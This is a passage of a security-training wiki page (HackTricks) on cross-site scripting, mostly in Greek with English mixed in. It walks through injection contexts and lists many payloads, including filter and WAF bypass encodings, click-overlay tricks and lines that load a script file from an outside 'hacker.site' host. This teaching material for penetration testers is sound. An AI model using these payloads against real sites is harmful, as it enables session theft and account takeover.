%.*s
XSS (Cross Site Scripting)
Reading time: 57 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μεθοδολογία
- Ελέγξτε αν κάποια τιμή που ελέγχετε (parameters, path, headers?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από κώδικα JS.
- Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.
- Αν αντανακλάται
- Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα προετοιμάστε το payload:
- Σε raw HTML:
- Μπορείτε να δημιουργήσετε νέες HTML tags;
- Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο
javascript:
; - Μπορείτε να παρακάμψετε προστασίες;
- Αν το HTML περιεχόμενο ερμηνεύεται από κάποιο client side JS engine (AngularJS, VueJS, Mavo...), μπορείτε να εκμεταλλευτείτε ένα Client Side Template Injection.
- Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS, μπορείτε να εκμεταλλευτείτε ένα Dangling Markup - HTML scriptless injection?
- Μέσα σε ένα HTML tag:
- Μπορείτε να βγείτε στο raw HTML context;
- Μπορείτε να δημιουργήσετε νέα events/attributes για να εκτελέσετε JS κώδικα;
- Το attribute στο οποίο παγιδεύεστε υποστηρίζει εκτέλεση JS;
- Μπορείτε να παρακάμψετε προστασίες;
- Μέσα σε JavaScript code:
- Μπορείτε να διαφύγετε από το
<script>
tag; - Μπορείτε να διαφύγετε από το string και να εκτελέσετε διαφορετικό JS code;
- Τα input σας είναι σε template literals ``?
- Μπορείτε να παρακάμψετε προστασίες;
- Javascript function που εκτελείται
- Μπορείτε να υποδείξετε το όνομα της function προς εκτέλεση. π.χ.:
?callback=alert(1)
- Αν χρησιμοποιείται:
- Μπορείτε να εκμεταλλευτείτε ένα DOM XSS, προσέξτε πώς το input σας ελέγχεται και αν το ελεγχόμενο input χρησιμοποιείται από κάποιο sink.
Όταν δουλεύετε πάνω σε ένα σύνθετο XSS μπορεί να σας φανεί χρήσιμο να γνωρίζετε για:
Τιμές που αντανακλώνται
Για να εκμεταλλευτείτε επιτυχώς ένα XSS, το πρώτο που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και που αντανακλάται στη σελίδα.
- Ενδιάμεσα αντανακλώμενη: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path αντανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα Reflected XSS.
- Αποθηκευμένη και αντανακλώμενη: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και αντανακλάται κάθε φορά που ανοίγετε τη σελίδα, μπορείτε να εκμεταλλευτείτε ένα Stored XSS.
- Προσπελάσιμη μέσω JS: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Πλαίσια
Όταν επιχειρείτε να εκμεταλλευτείτε ένα XSS, το πρώτο που πρέπει να γνωρίζετε είναι πού αντανακλάται το input σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Raw HTML
Αν το input σας αντανακλάται στο raw HTML της σελίδας, θα χρειαστεί να εκμεταλλευτείτε κάποια HTML tag για να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script
... αυτά είναι μερικά μόνο από τα πολλά HTML tags που μπορείτε να χρησιμοποιήσετε.\ Also, keep in mind Client Side Template Injection.
Inside HTML tags attribute
Αν το input σας αντανακλάται μέσα στην τιμή ενός attribute ενός tag, μπορείτε να δοκιμάσετε:
- Να δραπετεύσετε από το attribute και από το tag (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για εκμετάλλευση:
"><img [...]
- Αν μπορείτε να διαφύγετε από το attribute αλλά όχι από το tag (
>
κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να δημιουργήσετε ένα event που εκτελεί JS κώδικα:" autofocus onfocus=alert(1) x="
- Αν δεν μπορείτε να διαφύγετε από το attribute (
"
κωδικοποιείται ή διαγράφεται), τότε ανάλογα με ποιο attribute αντανακλάται η τιμή σας και αν ελέγχετε ολόκληρη την τιμή ή μόνο μέρος της θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα event όπωςonclick=
θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το attributehref
, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλοjavascript:
για να εκτελέσετε αυθαίρετο κώδικα:href="javascript:alert(1)"
- Αν το input σας αντανακλάται μέσα σε "unexpoitable tags" μπορείτε να δοκιμάσετε το κόλπο με
accesskey
για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή social engineering για να το εκμεταλλεύσετε):" accesskey="x" onclick="alert(1)" x="
Παράξενο παράδειγμα του Angular να εκτελεί XSS αν ελέγχετε ένα class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Μέσα σε κώδικα JavaScript
Σε αυτή την περίπτωση η είσοδός σας αντανακλάται ανάμεσα στις ετικέτες <script> [...] </script>
μιας σελίδας HTML, μέσα σε ένα αρχείο .js
ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο javascript:
:
- Αν αντανακλάται ανάμεσα σε
<script> [...] </script>
ετικέτες, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιαδήποτε είδους εισαγωγικά, μπορείτε να προσπαθήσετε να εισαγάγετε</script>
και να ξεφύγετε από αυτό το context. Αυτό λειτουργεί επειδή το πρόγραμμα περιήγησης πρώτα θα αναλύσει τις ετικέτες HTML και μετά το περιεχόμενο, επομένως δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα</script>
βρίσκεται μέσα στον HTML κώδικα. - Αν αντανακλάται μέσα σε JS string και το προηγούμενο κόλπο δεν δουλεύει, θα χρειαστεί να βγείτε από το string, να εκτελέσετε τον κώδικά σας και να αναδομήσετε τον JS κώδικα (αν υπάρχει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Αν αντανακλάται μέσα σε template literals μπορείτε να ενσωματώσετε JS εκφράσεις χρησιμοποιώντας τη σύνταξη
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Η Unicode encode λειτουργεί για να γράψετε valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting αναφέρεται στην ευκαιρία να δηλώσετε functions, variables ή classes αφού έχουν χρησιμοποιηθεί, έτσι ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή functions.
Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
Javascript Function
Πολλές σελίδες έχουν endpoints που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπεται στο wild είναι κάτι σαν: ?callback=callbackFunc
.
Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην console για σφάλματα όπως:
Σε περίπτωση που είναι ευάλωτο, μπορεί να καταφέρετε να προκαλέσετε ένα alert απλά στέλνοντας την τιμή: ?callback=alert(1)
. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να επαληθεύουν το περιεχόμενο ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores ([\w\._]
).
Ωστόσο, ακόμα και με αυτόν τον περιορισμό είναι δυνατή η εκτέλεση ορισμένων ενεργειών. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να προσπελάσετε οποιοδήποτε στοιχείο στο DOM:
Μερικές χρήσιμες συναρτήσεις για αυτό:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders
.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, άλλες σελίδες στο ίδιο same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href
. Ένας attacker, could abuse this to execute arbitrary JS code.
Universal XSS
These kind of XSS can be found οπουδήποτε. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Κάποια παραδείγματα:
WAF bypass encoding image
Injecting inside raw HTML
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse <
to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Σημείωση: Ένα HTML comment μπορεί να κλείσει χρησιμοποιώντας-->
**ή --!>
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Αλλά, αν χρησιμοποιείται tags/attributes black/whitelisting, θα χρειαστεί να brute-force which tags που μπορείτε να δημιουργήσετε.
Μόλις έχετε located which tags are allowed, θα χρειαστεί να brute-force attributes/events μέσα στα εντοπισμένα έγκυρα tags για να δείτε πώς μπορείτε να επιτεθείτε στο context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Στη συνέχεια, στείλτε όλα αυτά χρησιμοποιώντας Burp intruder και ελέγξτε αν κάποια tags δεν εντοπίστηκαν ως κακόβουλα από το WAF. Μόλις ανακαλύψετε ποια tags μπορείτε να χρησιμοποιήσετε, μπορείτε να brute force all the events χρησιμοποιώντας τα έγκυρα tags (στην ίδια σελίδα κάντε κλικ στο Copy events to clipboard και ακολουθήστε την ίδια διαδικασία όπως πριν).
Custom tags
Αν δεν βρήκατε κανένα έγκυρο HTML tag, μπορείτε να προσπαθήσετε να create a custom tag και να εκτελέσετε JS code με το onfocus
attribute. Στο XSS request, πρέπει να τελειώσετε το URL με #
για να κάνετε τη σελίδα focus on that object και να execute τον κώδικα:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Εάν χρησιμοποιείται κάποιο είδος blacklist, μπορείτε να προσπαθήσετε να το bypass με μερικά αστεία κόλπα:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Παράκαμψη μήκους (small XSSs)
[!NOTE] > Περισσότερα tiny XSS payloads για διαφορετικά περιβάλλοντα βρίσκονται εδώ και εδώ.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Το τελευταίο χρησιμοποιεί 2 unicode χαρακτήρες που επεκτείνονται σε 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Αν, για να εκμεταλλευτείτε την ευπάθεια, χρειάζεται ο χρήστης να κάνει κλικ σε ένα σύνδεσμο ή σε μια φόρμα με προ-συμπληρωμένα δεδομένα, μπορείτε να δοκιμάσετε να abuse Clickjacking (αν η σελίδα είναι ευάλωτη).
Αδύνατο - Dangling Markup
Αν νομίζετε απλώς ότι είναι αδύνατο να δημιουργήσετε ένα HTML tag με ένα attribute για να εκτελέσετε JS code, θα πρέπει να ελέγξετε Danglig Markup επειδή θα μπορούσατε να exploit την ευπάθεια χωρίς να εκτελέσετε JS code.
Εισαγωγή μέσα σε HTML tag
Μέσα στο tag/escaping from attribute value
Αν βρίσκεστε μέσα σε ένα HTML tag, το πρώτο που μπορείτε να δοκιμάσετε είναι να escape από το tag και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην previous section για να εκτελέσετε JS code.
Αν δεν μπορείτε να escape από το tag, μπορείτε να δημιουργήσετε νέα attributes μέσα στο tag για να προσπαθήσετε να εκτελέσετε JS code, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Συμβάντα στυλ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο χαρακτηριστικό
Ακόμα κι αν δεν μπορείτε να διαφύγετε από το χαρακτηριστικό ("
is being encoded or deleted), ανάλογα με ποιο χαρακτηριστικό αντανακλά την τιμή σας και αν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα event όπως onclick=
θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.
Ένα ακόμα ενδιαφέρον παράδειγμα είναι το χαρακτηριστικό href
, όπου μπορείτε να χρησιμοποιήσετε το javascript:
πρωτόκολλο για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Παρακάμψη μέσα στο event χρησιμοποιώντας HTML encoding/URL encode
Οι HTML encoded characters μέσα στην τιμή των attribute των HTML tags αποκωδικοποιούνται κατά την εκτέλεση. Επομένως κάτι σαν το ακόλουθο θα είναι έγκυρο (το payload είναι με έντονα): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Σημειώστε ότι οποιοσδήποτε τύπος HTML encode είναι έγκυρος:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Σημειώστε ότι το URL encode θα λειτουργήσει επίσης:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass μέσα σε event χρησιμοποιώντας Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικά πρωτόκολλα εντός του attribute
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript:
ή data:
σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο JS κώδικα. Κάποια θα απαιτούν αλληλεπίδραση χρήστη, άλλα όχι.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Μέρη όπου μπορείτε να εισαγάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript:
μπορεί να χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute href
και στα περισσότερα tags που δέχονται το attribute src
(αλλά όχι <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Άλλα κόλπα απόκρυψης
Σε αυτή την περίπτωση το κόλπο με το HTML encoding και το κόλπο με το Unicode encoding από την προηγούμενη ενότητα ισχύουν επίσης καθώς βρίσκεστε μέσα σε ένα attribute.
<a href="javascript:var a=''-alert(1)-''">
Επιπλέον, υπάρχει ένα ακόμα ωραίο κόλπο για αυτές τις περιπτώσεις: Ακόμα κι αν η είσοδός σας μέσα στο javascript:...
υποβάλλεται σε URL encoded, θα γίνει URL decoded πριν εκτελεστεί.
Έτσι, αν χρειαστεί να escape από το string χρησιμοποιώντας ένα single quote και δείτε ότι υποβάλλεται σε URL encoded, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως single quote κατά τον χρόνο εκτέλεσης.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode
με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload, αυτό δεν θα λειτουργήσει, αλλά μπορείτε να τα αναμίξετε μέσα στο payload.
Χρησιμοποιώντας Hex και Octal encode με javascript:
Μπορείτε να χρησιμοποιήσετε Hex και Octal encode μέσα στο χαρακτηριστικό src
του iframe
(τουλάχιστον) για να δηλώσετε HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο <a href=
tag που περιέχει τα χαρακτηριστικά target="_blank" and rel="opener"
, ελέγξτε την παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
Παράκαμψη on Event Handlers
Πρώτα απ' όλα ελέγξτε αυτή τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμα "on" event handlers.
Σε περίπτωση που υπάρχει κάποια blacklist που σας εμποδίζει να δημιουργήσετε αυτούς τους event handlers μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS σε "Unexploitable tags" (hidden input, link, canonical, meta)
Από here πλέον είναι δυνατό να καταχραστεί κανείς hidden inputs με:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Και στις ετικέτες meta:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: Μπορείτε να εκτελέσετε ένα XSS payload inside a hidden attribute, εφόσον καταφέρετε να πείσετε τον/την victim να πατήσει τον key combination. Στον Firefox (Windows/Linux) ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Ιδού το vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Το XSS payload θα είναι κάτι σαν το εξής: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Διαφορετικά κόλπα που χρησιμοποιούν διάφορες κωδικοποιήσεις έχουν ήδη παρουσιαστεί μέσα σε αυτήν την ενότητα. Επιστρέψτε πίσω για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
- HTML κωδικοποίηση (HTML tags)
- Unicode κωδικοποίηση (μπορεί να είναι έγκυρος JS κώδικας):
\u0061lert(1)
- URL κωδικοποίηση
- Hex και Octal κωδικοποίηση
- data κωδικοποίηση
Bypasses for HTML tags and attributes
Διαβάστε το Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Διαβάστε το JavaScript bypass blacklist of the following section.
CSS-Gadgets
Αν βρείτε ένα XSS σε ένα πολύ μικρό μέρος της σελίδας που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα onmouseover element), μπορείτε να προσπαθήσετε να τροποποιήσετε τον χώρο που καταλαμβάνει αυτό το στοιχείο για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
Για παράδειγμα, μπορείτε να προσθέσετε κάποιο styling στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Αλλά, αν το WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
.test {display:block; color: blue; width: 100%}
και
#someid {top: 0; font-family: Tahoma;}
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμό σας και να τον φέρετε στη μορφή
<a href="" id=someid class=test onclick=alert() a="">
Αυτό το κόλπο προέρχεται από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Σε αυτές τις περιπτώσεις το input σας θα αντανακλάται μέσα στον JS κώδικα ενός .js
αρχείου ή μεταξύ των <script>...</script>
tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS κώδικα ή ανάμεσα σε attributes που δέχονται το πρωτόκολλο javascript:
.
Escaping <script> tag
Αν ο κώδικάς σας εισάγεται μέσα σε <script> [...] var input = 'reflected data' [...] </script>
μπορείτε εύκολα να ξεφύγετε κλείνοντας το <script>
tag:
</script><img src=1 onerror=alert(document.domain)>
Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε καν κλείσει το απλό απόστροφο. Αυτό συμβαίνει επειδή η HTML parsing εκτελείται πρώτα από το πρόγραμμα περιήγησης, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση της JavaScript για να κατανοηθούν και να εκτελεστούν τα ενσωματωμένα scripts γίνεται μόνο στη συνέχεια.
Μέσα στον κώδικα JS
Αν τα <>
φιλτράρονται, μπορείτε ακόμα να escape the string στο σημείο όπου η είσοδός σας βρίσκεται και να execute arbitrary JS. Είναι σημαντικό να fix JS syntax, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo μέσα σε ένα inline script), μπορείτε να τερματίσετε τη συμβολοσειρά, να εισάγετε κώδικα και να επιδιορθώσετε τη σύνταξη ώστε η ανάλυση να παραμείνει έγκυρη. Γενικός σκελετός:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε συμβολοσειρά JS:
?param=test";<INJECTION>;a="
Αυτό εκτελεί τον JS του επιτιθέμενου χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν φίλτρα μπλοκάρουν keywords.
Template literals ``
Για να κατασκευάσετε strings, πέρα από τα μονά και διπλά quotes, η JS δέχεται επίσης backticks ``
. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την ενσωμάτωση JS εκφράσεων χρησιμοποιώντας τη σύνταξη ${ ... }
.
Επομένως, αν βρείτε ότι η είσοδός σας αντανακλάται μέσα σε ένα JS string που χρησιμοποιεί backticks, μπορείτε να καταχραστείτε τη σύνταξη ${ ... }
για να εκτελέσετε arbitrary JS code:
Αυτό μπορεί να καταχραστεί χρησιμοποιώντας:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Κωδικοποιημένη εκτέλεση κώδικα
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Παραδοτέα payloads με eval(atob()) και αποχρώσεις του scope
Για να διατηρήσετε τις URLs πιο σύντομες και να παρακάμψετε απλά φίλτρα λέξεων-κλειδιών, μπορείτε να base64-encode την πραγματική λογική σας και να την εκτελέσετε με eval(atob('...'))
. Αν το απλό φιλτράρισμα λέξεων-κλειδιών μπλοκάρει identifiers όπως alert
, eval
ή atob
, χρησιμοποιήστε Unicode-escaped identifiers που συντάσσονται ακριβώς το ίδιο στον browser αλλά παρακάμπτουν τα φίλτρα βασισμένα σε αντιστοιχία συμβολοσειρών:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Σημαντική λεπτομέρεια για το scoping: const
/let
που δηλώνονται μέσα σε eval()
είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμα από μεταγενέστερα scripts. Χρησιμοποιήστε ένα δυναμικά εισαγόμενο <script>
element για να ορίσετε global, μη-επαναδεσμεύσιμα hooks όταν χρειάζεται (π.χ., to hijack a form handler):
